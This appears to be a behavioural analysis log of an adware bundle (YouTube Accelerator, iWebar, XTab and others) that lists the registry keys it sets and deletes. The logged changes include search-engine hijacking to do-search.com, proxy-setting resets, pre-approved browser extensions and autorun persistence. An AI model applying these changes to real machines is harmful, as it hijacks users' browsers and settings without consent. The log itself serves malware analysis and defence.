[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"
"Version" = "1.5.4.199"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator\ExtraInfo]
"DBVersion" = "1.0.0.1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process GLJC5A0.tmp:1200 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process ProtectWindowsManager.exe:3356 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectWindowsManager.exe:4048 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerPro"
"TypesSupported" = "7"

The process F6BD.tmp:2588 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process Ktyvobm.exe:3204 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayName" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"CrAppId" = "70121"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"Publisher" = "Webby"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Installer]
"BundledFirefox" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "FC E2 82 50 AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "62 2B E4 4C AA 79 D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayIcon" = "%Program Files% (x86)\iWebar\utils.exe"
"UninstallString" = "%Program Files% (x86)\iWebar\Uninstall.exe /fcp=1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayVersion" = "1.36.01.22"
"CrPublisherId" = "21836"

[HKCU\Software\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 55 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\Webby]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

The process XTab_Setup2121.exe:3624 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID]
"{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}" = "1"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5A 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved]
"{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}" = ""

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.istartsurf.com/web/?type=ds&ts=1429342553&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"CheckedValue" = "PMIL"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"DefaultValue" = "PMIL"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process YouTubeAccelerator.exe:3840 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 04 A4 44 A3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "BA 60 9A 4C AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "FC A6 7B 4A AA 79 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "0F BF 27 86 3F 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 52 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1429342552"
"TimeLimit" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-4.exe:2648 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
